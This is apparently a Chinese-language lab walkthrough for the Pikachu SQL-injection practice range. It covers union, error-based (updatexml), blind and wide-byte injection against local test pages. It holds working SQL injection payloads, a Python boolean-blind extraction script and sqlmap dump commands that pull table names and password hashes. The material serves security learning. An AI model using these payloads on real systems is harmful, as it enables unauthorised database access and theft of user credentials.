前言:SQL注入知识点

  • SQL注入是什么?

    SQL注入是一种通过拼接后台SQL语句达到攻击目的的手段

  • SQL注入分类:

    • 从注入手法分为:联合查询注入、报错型注入、延时注入、堆叠注入
    • 从数据类型可分为:字符型、数值型
    • 从注入位置可分为:GET数据、POST数据、HTTP头部、cookie注入
  • 必要知识

    • 名为information_schema的数据库,储存记录着所有数据库名、表名、列名,可以通过它获取指定数据库下的表名或列名信息

    • 数据库中 “.” 代表下一级,如xiaohong.user表示xiaohong数据库下的user名

    • 常用参数

      1
      2
      3
      4
      5
      6
      7
      8
      information_schema.tables:记录所有表名信息的表
      information_schema.columns:记录所有列名信息的表
      table_name:表名
      column_name:列名
      table_schema:数据库名
      user():查看当前MySQL登录的用户名
      database():查看当前使用MySQL数据库名
      version():查看当前MySQL版本

1.数字型注入

抓包,观察看出它是post型,并且可以在bp中修改id值

image-20231202221753836

思考服务端的查询过程:

用户将id值post给服务端,然后服务端从数据库中查询,将查询到的数据返回给用户

查询的语句可能有:

1
2
select * from users where id=1//数字型
select * from users where id='1' //字符型

由于题目已经说了是数字型,所以不用考虑引号问题

接下来

先判断是否有注入点,输入下列测试语句

1
2
1 and 1=1 //回显正常
1 and 1=2 //回显错误

image-20231202222707358

利用order by 判断字段数

直到 order by 3 出现报错,说明一共有2列字段

1
1 order by (整数)

image-20231202223714346

利用union select 进行联合查询(爆库)

这里将id设为-1,就会执行id值后面的SQL语句

试试这个语句:

1
id=-1 union select 1,2

image-20231203121530078

利用以下函数可以获得该数据库的信息

1
2
3
4
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

现在我们来查询数据库名字和用户

1
id=-1 union select database(),user()

image-20231203122524220

查询可知该数据库名为pikachu

从数据库中查询表名(爆表):

利用union select 联合查询,获取表名

1
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'

结果如下:

image-20231203124605712

从表中获取字段名(爆列):

同样,利用union select联合语句

1
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='xssblind' 

image-20231203125613917

从列中获取数据信息(爆数据):

已经知道了列名,那就很简单了,直接select from

1
id=-1 union select id,time from xssblind

image-20231203130647133

2.字符型注入

思路:

打开页面是一个输入框,此时应该反射性的尝试XSS注入,先输入特殊语句,发现并没有报错,说明没有对这些字符进行过滤,直接输入测试语句

1
<script>alert(1)</script>

并没有出现弹窗,说明不存在XSS漏洞

接下来就试一试SQL注入,bp抓包,发现这是get型,发送到repeater,直接在bp上修改url上的参数,然后send上去,发现输入那些测试的SQL语句后就一直报错,没有办法,只能在输入框中测试是否存在SQL语句,通过输入框的一番操作,原来是在bp上对一些字符进行了转换,比如将‘转换为%27,将#转换为%23

现在算是找到了注入点了

直接在输入框进行与数字型一样的操作,只是要注意引号的输入

3.搜索型注入

首先先了解一下搜索型注入:

简介:

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在

原理:搜索型注入使用了下面这类语句:

1
$sql="select * from user where password like '%$pwd%' order by password"

似乎有些陌生了,那来通过下面的小知识来了解了解sql like 语句吧!

  • SQL通配符:在搜索数据库中的数据时,SQL通配符可以代替一个或多个字符,从而起到搜索的作用,并且SQL通配符必须与like运算符一起使用

  • 在SQL中,以下这些通配符可以帮助你理解它的强大之处

    通配符 描述
    % 替代一个或多个字符
    _ 仅替代一个字符
    [charlist] 字符列中的任何单一字符
    [^charist]或者[!charlist] 不在字符列中的任何单一字符
  • 通配符用法

    通配符 描述
    % select * from user where username like ‘%gerry%’
    _ select * from user where username like ‘_gerry’
    [charlist] select * from user where username like ‘[wgz]’
    [^charlist]或者[!charlist] select * from user where username like

说了那么多,我们要实现搜索型注入就要先找到闭合点,打开pikachu 这一关卡,输入a,得出以下这些信息:

username:allen
uid:2
email is: allen@pikachu.com

username:grady
uid:4
email is: grady@pikachu.com

接着就利用这些信息,输入allen’,结果出现如下报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘%’’ at line 1

在这里提示了闭合可能是‘%,可以猜测SQL 语句是

select * from user where usename like ‘%a%’

接下来进行测试,如果有以下结果,则说明有注入点:

1
2
回显正常:allen%' and 1=1# 
回显错误:allen%' and 1=2#

image-20231203202916303

通过测试,说明有注入点,接下来我们就进行一波联合查询操作,与第一关卡一样啦,

最后查询得到如下玩意,是不是需要解码呢?

your uid:vince
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:allen
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:kobe
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:grady
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:kevin
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:lucy
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:lili
your email is: e10adc3949ba59abbe56e057f20f883e

相信你现在已经对SQL注入有了更深入的理解了吧!

4.xx型注入

与搜索型注入很像,只是两者的闭合方式不一样

输入aaa’,出现如下报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’aaa’’)’ at line 1

猜测闭合语句应该就是

(‘username’)

接下来判断字段数:

1
2
aaa') order by 2  //没有报错
aaa') order by 3 //报错

说明有两个字段。

接下来有一顿联合查询操作,已经重复第四遍了,不过不要紧,熟能生巧,自己去操作一顿吧,在这里就不赘述了

5.”insert/update”注入

现在进入了报错注入这一模块,在进靶场之前我们要先对报错注入做一定的学习

报错注入基础:

  • 简介:报错注入就是利用网页出现的动态报错现象,注入SQL语句使页面报错同时获取有用的信息的一种行为。

  • 报错函数之updatexml()函数

    1
    updatexml(XML_document,XPath_string,new_value)

    当updatexml中的第二个参数包含特殊字符时会报错,并将第二个参数的内容显示在报错信息中

  • 作用:用于插入或更新元素

现在进入靶场:

打开这一关卡,就是登陆界面,在登陆之前需要注册;注册就是往数据库中插入一块数据,在插入数据的过程中就会用到updatexml函数

我们先探探风口,先抓包,发现是post型请求,接下来在bp中的repeater模块进行测试:

  • 将username参数值改成aaa’,出现报错

  • 将username参数值改成aaa’ and 1=1#,也出现报错,而且两次报错的信息不一样,说明可能存在报错注入

  • 此时就用updatexml函数进行测试

    1
    aaa' and updatexml(1,0x7e,1) and '

    0x7e相当于”~”,相当于特殊字符

    结果出现:

    image-20231204185242381

  • 说明存在报错注入,接下来一顿联合查询操作:

1.爆库:

1
aaa' and updatexml(1,concat(0x7e,database()),1) and'

concat作用:连接两个或多个字符串

and ‘ 的作用:闭合’

结果出现:

1
XPATH syntax error: '~pikachu'

得到库名:pikachu

2.爆表

1
-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1) and '

得到如下结果:

1
XPATH syntax error: '~httpinfo,member,message,users,x'

在这里,我们肯定是需要users这个表啦

继续:

3.爆列

1
-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) and'

得到如下结果:

1
XPATH syntax error: '~USER,CURRENT_CONNECTIONS,TOTAL_'

由于回显数据只有一行,所以没有全部显示出来,此时就需要用到我们的limit 或者 substr 函数

先了解了解:

limit函数

–前10条记录:
SELECT * FROM 表名 LIMIT 0,10;
或者
SELECT * FROM 表名 LIMIT 10;

–第11至20条记录:
SELECT * FROM 表名 LIMIT 10,10;

–第21至30条记录:
SELECT * FROM 表名 LIMIT 20,10;

substr函数

格式1: substr(string string, int a, int b);
1、string 需要截取的字符串
2、a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取)
3、b 要截取的字符串的长度

格式2:substr(string string, int a) ;
1、string 需要截取的字符串
2、a 可以理解为从第a个字符开始截取后面所有的字符串。

接下来我们就使用substr函数吧:

1
-1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),35,31)),1) and'

得到的结果如下:

1
XPATH syntax error: '~NECTIONS,id,username,password,l'

至于为什么是”35,31”,请先了解substr函数的用法与作用吧

4.爆数据:

1
-1' and updatexml(1,concat(0x7e,(select password from users)),1) and'

这里显示的是:

Subquery returns more than 1 row

说明此时要用到limit函数了(limit函数起到了分页的作用)

1
-1' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),1) and'

结果如下:

1
XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'

想要知道这个密码所对应的username,直接将password替换成username就行了

6.delete注入

打开关卡可以看到留言框,此处练习的是delete注入,所以点击”删除”,抓包,发现是get请求,由于在bp中注入要进行URL转换操作,所以我们直接打开火狐开发者工具中的Hackers进行一顿操作,操作与insert注入类似,同样需要使用到updatexml函数

就简单说一下火狐开发者工具中Harkers的操作吧,

image-20231204204813069

7.”HTTP Header”注入

打开关卡又是一个登录框,直接登陆进去,然后发现回显的页面中包含了HTTP的头文件信息,用bp抓包一下,可以对这些显示信息的字段进行测试一番

测试过后,发现Accept:和User-Agent:两个字段可以进行注入

我们就在User-Agent:里进行注入吧

image-20231204212956680

接下来又是联合查询操作,自个儿做吧

8.盲注(base on boolian)

对于布尔盲注,先理解一下它的基本原理:

点击这里吧

了解原理后,还要知道什么时候使用它:

  • 使用情景:页面只有登陆成功和登陆失败这两种情况,就可以使用布尔盲注
  • 使用方法:
    • 使用脚本
    • 利用sqlmap
    • 手动操作(耗时耗力)

使用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests

url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php" # url地址
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"Cookie": "PHPSESSID=im2aisu068uefdjnd9p59l2d85", } # http request报文头部信息
keylist = [chr(i) for i in range(33, 127)] # 包括数字、大小写字母、可见特殊字符
flag = 'your uid' # 用于判断附加sql语句为真的字符,根据网页回显填写,登录成功会显示 your uid等字段


def showdatabase():
n = 20 # 猜测的最大长度
k = 0
j = n // 2
length = 0
db = str()
while True:
if j > k and j < n and j - k > 3:
payload1 = "lili' and length(database())>" + str(j) + "-- ss"
param = {
"name": payload1,
"submit": "查询",
}
response = requests.get(url, params=param, headers=headers)
if response.text.find(flag) != -1:
n = n
k = j
else:
k = k
n = j
j = (n - k) // 2
elif j - k == 3 or j - k < 3:
for i in range(k - 1, n + 2):
payload2 = "lili' and length(database())=" + str(i) + "-- ss"
param = {
"name": payload2,
"submit": "查询",
}
response = requests.get(url, params=param, headers=headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("数据库名长度为:" + str(length) )
for i in range(1, length + 1):
for c in keylist:
payload3 = "lili' and substring(database()," + str(i) + ",1)='" + c + "'-- ss"
param = {
"name": payload3,
"submit": "查询",
}
response = requests.get(url, params=param, headers=headers)
if response.text.find(flag) != -1:
db = db + c
break
print("数据库名是:"+str(db))

showdatabase()

效果如下:

image-20231205183250881

使用sqlmap

sqlmap的安装:点击这里

sqlmap的使用:点击这里

爆库:

1
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --current-db

image-20231205185709601

爆表:

1
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" --tables

image-20231205190026108

爆列:

1
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "users" --columns

image-20231205190235769

爆数据:

1
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "users" -C "username,password" --dump

image-20231205190532416

9.盲注(base on time)

先了解一下时间盲注的原理:点击这里吧

对于时间盲注,我们要知道它的适用情景:就是无论输入什么,页面只返回一种结果

手动验证是否是时间盲注

打开浏览器的开发者工具,点击网络那一栏,明显可以看到所在的页面有网络延迟现象

image-20231205192853590

这里和布尔盲注一样,手动操作很费劲,实战还是得用工具,sqlmap上场,操作和布尔盲注基本一样,只是比较所需时间会更长一些

10.宽字节注入

先了解一下什么是宽字节注入:

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
————————————————
原文链接:https://blog.csdn.net/qq_45813980/article/details/119295166

在这一关卡中,直接测试,输入kobe,回显正确,输入kobe’ and 1=1# , 结果显示不正确,根据宽字节注入的原理,直接上测试语句:

1
kobe%df' or 1=1#

结果回显正确

image-20231205203243785

输入

1
kobe%df' union select 1,2#

回显:

image-20231205214356695

接下来又是老套路了,自个儿做吧

附:

这里为post型的宽字节注入,暂时还没有找到怎么用sqlmap实现注入

不过找到了get型的:

sqlmap宽字节注入的使用语句

sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” –current-user
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” –current-db(查数据库)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security –tables(当前数据库有哪些表)
————————————————
原文链接:https://blog.csdn.net/lza20001103/article/details/124286601